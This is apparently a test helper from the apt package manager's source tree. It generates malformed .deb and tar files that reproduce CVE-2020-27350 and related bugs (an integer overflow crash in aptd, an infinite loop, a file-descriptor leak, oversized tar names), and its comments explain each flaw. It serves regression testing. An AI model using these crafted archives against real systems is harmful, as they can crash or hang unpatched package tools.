summaryrefslogtreecommitdiffstats
path: root/test/interactive-helper/createdeb-cve-2020-27350.cc
blob: 7fc9b0e55d70a062764f83b4619259b1494d6c07 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

struct Header
{
   char Name[16];
   char MTime[12];
   char UID[6];
   char GID[6];
   char Mode[8];
   char Size[10];
   char Magic[2];
};

struct TarHeader
{
   char Name[100];
   char Mode[8];
   char UserID[8];
   char GroupID[8];
   char Size[12];
   char MTime[12];
   char Checksum[8];
   char LinkFlag;
   char LinkName[100];
   char MagicNumber[8];
   char UserName[32];
   char GroupName[32];
   char Major[8];
   char Minor[8];
};

// Call `write` and check the result.
static void write_chk(int fd, const void *buf, size_t count)
{
   const ssize_t wr = write(fd, buf, count);
   if (wr < 0)
   {
      const int err = errno;
      fprintf(stderr, "Write failed: %s\n", strerror(err));
      exit(EXIT_FAILURE);
   }
   if ((size_t)wr != count)
   {
      fprintf(stderr, "Incomplete write.\n");
      exit(EXIT_FAILURE);
   }
}

// Triggers a negative integer overflow at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/arfile.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n116:
//
//    Memb->Size -= Len;
//
// Due to the integer overflow, the value of Memb->Size is 0xFFFFFFFFFFFFFFFF.
// This leads to an out-of-memory error at https://git.launchpad.net/ubuntu/+source/python-apt/tree/python/arfile.cc?h=applied/ubuntu/focal-updates&id=0f7cc93acdb51d943114f1cd79002288c4ca4d24#n602:
//
//    char* value = new char[member->Size];
//
// The out-of-memory error causes aptd to crash.
static void createdeb_crash(const int fd)
{
   // Magic number
   static const char *magic = "!<arch>\n";
   write_chk(fd, magic, strlen(magic));

   struct Header h;
   memset(&h, 0, sizeof(h));

   memcpy(h.Name, "control.tar     ", sizeof(h.Name));
   write_chk(fd, &h, sizeof(h));

   memset(&h, 0, sizeof(h));
   memcpy(h.Name, "data.tar        ", sizeof(h.Name));
   write_chk(fd, &h, sizeof(h));

   memset(&h, 0, sizeof(h));
   memcpy(h.Name, "#1/13           ", sizeof(h.Name));
   strcpy(h.Size, "12");
   write_chk(fd, &h, sizeof(h));
   write_chk(fd, "debian-binary", 13);
}

// Triggers an infinite loop in `ARArchive::LoadHeaders()`.
// The bug is due to the use of `strtoul` at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/strutl.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n1169:
//
//    Res = strtoul(S,&End,Base);
//
// The problem is that `strtoul` accepts negative numbers. We exploit that here by setting the size string to "-60".
static void createdeb_loop(const int fd)
{
   // Magic number
   static const char *magic = "!<arch>\n";
   write_chk(fd, magic, strlen(magic));

   struct Header h;
   memset(&h, 0, sizeof(h));

   memcpy(h.Name, "#1/20           ", sizeof(h.Name));
   strcpy(h.Size, "-60");
   write_chk(fd, &h, sizeof(h));

   char buf[20];
   memset(buf, 0, sizeof(buf));
   write_chk(fd, buf, sizeof(buf));
}

// Leaks a file descriptor in `debfile_new()`:
//
// https://git.launchpad.net/python-apt/tree/python/arfile.cc?h=2.0.0#n588
//
// If the .deb file is invalid then the function returns without deleting
// `self`, which means that the file descriptor isn't closed.
static void createdeb_leakfd(const int fd)
{
   // Magic number
   static const char *magic = "!<arch>\n";
   write_chk(fd, magic, strlen(magic));

   struct Header h;
   memset(&h, 0, sizeof(h));

   memset(&h, 0, sizeof(h));
   memcpy(h.Name, "data.tar        ", sizeof(h.Name));
   write_chk(fd, &h, sizeof(h));
}

static void set_checksum(unsigned char block[512])
{
   struct TarHeader *tar = (struct TarHeader *)&block[0];
   memset(tar->Checksum, ' ', sizeof(tar->Checksum));
   uint32_t sum = 0;
   for (int i = 0; i < 512; i++)
   {
      sum += block[i];
   }
   snprintf(tar->Checksum, sizeof(tar->Checksum), "%o", sum);
}
static void base256_encode(char *Str, unsigned long long Num, unsigned int Len)
{
   Str += Len;
   while (Len-- > 0) {
      *--Str = static_cast<char>(Num & 0xff);
      Num >>= 8;
   }

  *Str |= 0x80; // mark as base256
}

// Create a deb with a control.tar that contains a too large file or link name (GNU extension)
static void createdeb_bigtarfilelength(const int fd, int flag, unsigned long long size = 64llu * 1024 * 1024 + 1)
{
   // Magic number
   static const char *magic = "!<arch>\n";
   write_chk(fd, magic, strlen(magic));

   struct Header h;
   memset(&h, ' ', sizeof(h));
   memcpy(h.Name, "debian-binary/     ", sizeof(h.Name));
   h.MTime[0] = '0';
   h.UID[0] = '0';
   h.GID[0] = '0';
   memcpy(h.Mode, "644", 3);
   h.Size[0] = '0';
   memcpy(h.Magic, "`\n", 2);

   write_chk(fd, &h, sizeof(h));

   memset(&h, ' ', sizeof(h));
   memcpy(h.Name, "data.tar/       ", sizeof(h.Name));
   h.MTime[0] = '0';
   h.UID[0] = '0';
   h.GID[0] = '0';
   memcpy(h.Mode, "644", 3);
   h.Size[0] = '0';
   memcpy(h.Magic, "`\n", 2);

   write_chk(fd, &h, sizeof(h));

   memset(&h, ' ', sizeof(h));
   memcpy(h.Name, "control.tar/       ", sizeof(h.Name));
   h.MTime[0] = '0';
   h.UID[0] = '0';
   h.GID[0] = '0';
   memcpy(h.Mode, "644", 3);
   memcpy(h.Size, "512", 3);
   memcpy(h.Magic, "`\n", 2);

   write_chk(fd, &h, sizeof(h));
   union
   {
      struct TarHeader t;
      unsigned char buf[512];
   } t;
   for (unsigned int i = 0; i < sizeof(t.buf); i++)
      t.buf[i] = '7';
   memcpy(t.t.Name, "control\0        ", 16);
   memcpy(t.t.UserName, "userName", 8);
   memcpy(t.t.GroupName, "thisIsAGroupNamethisIsAGroupName", 32);
   memcpy(t.t.UserID, "0", 2);
   memcpy(t.t.GroupID, "0", 2);
   memcpy(t.t.MTime, "0", 2);
   memcpy(t.t.MagicNumber, "0", 2);
   memcpy(t.t.Major, "0", 2);
   memcpy(t.t.Minor, "0", 2);
   t.t.LinkFlag = flag;
   base256_encode(t.t.Size, size, sizeof(t.t.Size));
   memset(t.t.Checksum, ' ', sizeof(t.t.Checksum));

   unsigned long sum = 0;
   for (unsigned int i = 0; i < sizeof(t.buf); i++)
      sum += t.buf[i];

   int written = sprintf(t.t.Checksum, "%lo", sum);
   for (unsigned int i = written; i < sizeof(t.t.Checksum); i++)
      t.t.Checksum[i] = ' ';

   write_chk(fd, t.buf, sizeof(t.buf));
}

static void createtar(const int fd)
{
   union
   {
      struct TarHeader t;
      char buf[512];
   } t;
   for (size_t i = 0; i < sizeof(t.buf); i++)
      t.buf[i] = '7';
   memcpy(t.t.Name, "unterminatedName", 16);
   memcpy(t.t.UserName, "userName", 8);
   memcpy(t.t.GroupName, "thisIsAGroupNamethisIsAGroupName", 32);
   memcpy(t.t.UserID, "0", 2);
   memcpy(t.t.GroupID, "0", 2);
   memcpy(t.t.MTime, "0", 2);
   memcpy(t.t.MagicNumber, "0", 2);
   memcpy(t.t.Major, "0", 2);
   memcpy(t.t.Minor, "0", 2);
   t.t.LinkFlag = 'X'; // I AM BROKEN
   memcpy(t.t.Size, "000000000000", sizeof(t.t.Size));
   memset(t.t.Checksum, ' ', sizeof(t.t.Checksum));

   unsigned long sum = 0;
   for (size_t i = 0; i < sizeof(t.buf); i++)
      sum += t.buf[i];

   int written = sprintf(t.t.Checksum, "%lo", sum);
   for (size_t i = written; i < sizeof(t.t.Checksum); i++)
      t.t.Checksum[i] = ' ';
   write_chk(fd, t.buf, sizeof(t.buf));
}

static void createdeb_test(const int fd)
{
   // Magic number
   static const char *magic = "!<arch>\n";
   write_chk(fd, magic, strlen(magic));

   struct Header h;

   memset(&h, 0, sizeof(h));
   memcpy(h.Name, "data.tar        ", sizeof(h.Name));
   write_chk(fd, &h, sizeof(h));

   memset(&h, 0, sizeof(h));
   memcpy(h.Name, "debian-binary   ", sizeof(h.Name));
   strcpy(h.Size, "4");
   write_chk(fd, &h, sizeof(h));
   static const char *debian_binary = "2.0\n";
   write_chk(fd, debian_binary, strlen(debian_binary));

   static const char *control =
      "Architecture: all\n"
      "Package: kevsh\n\n";
   memset(&h, 0, sizeof(h));
   memcpy(h.Name, "control.tar     ", sizeof(h.Name));
   snprintf(h.Size, sizeof(h.Size), "%ld", (size_t)512 + 512);
   write_chk(fd, &h, sizeof(h));

   unsigned char block[512];
   memset(block, 0, sizeof(block));
   struct TarHeader *tar = (struct TarHeader *)&block[0];
   strcpy(tar->Name, "control");
   strcpy(tar->Mode, "644");
   snprintf(tar->Size, sizeof(tar->Size), "%lo", strlen(control));
   set_checksum(block);
   write_chk(fd, block, sizeof(block));

   memset(block, 0, sizeof(block));
   strcpy((char *)block, control);
   write_chk(fd, block, sizeof(block));
}

int main(int argc, char *argv[])
{
   if (argc != 3)
   {
      const char *progname = argc > 0 ? argv[0] : "a.out";
      fprintf(
	 stderr,
	 "usage: %s <mode> <filename>\n"
	 "modes: loop, segv, leakfd\n",
	 progname);
      return EXIT_FAILURE;
   }

   const char *mode = argv[1];
   const char *filename = argv[2];

   const int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 00644);
   if (fd < 0)
   {
      const int err = errno;
      fprintf(stderr, "Could not open %s: %s\n", filename, strerror(err));
      return EXIT_FAILURE;
   }

   if (strcmp(mode, "crash") == 0)
   {
      createdeb_crash(fd);
   }
   else if (strcmp(mode, "loop") == 0)
   {
      createdeb_loop(fd);
   }
   else if (strcmp(mode, "leakfd") == 0)
   {
      createdeb_leakfd(fd);
   }
   else if (strcmp(mode, "long-name") == 0)
   {
      createdeb_bigtarfilelength(fd, 'L');
   }
   else if (strcmp(mode, "long-link") == 0)
   {
      createdeb_bigtarfilelength(fd, 'K');
   }
   else if (strcmp(mode, "long-control") == 0)
   {
      createdeb_bigtarfilelength(fd, '0');
   }
   else if (strcmp(mode, "too-long-control") == 0)
   {
      createdeb_bigtarfilelength(fd, '0', 128llu * 1024 * 1024 * 1024 + 1);
   }
   else if (strcmp(mode, "github-111") == 0)
   {
      createtar(fd);
   }
   else if (strcmp(mode, "test") == 0)
   {
      createdeb_test(fd);
   }
   else
   {
      fprintf(stderr, "Mode not recognized: %s\n", mode);
   }

   close(fd);
   return EXIT_SUCCESS;
}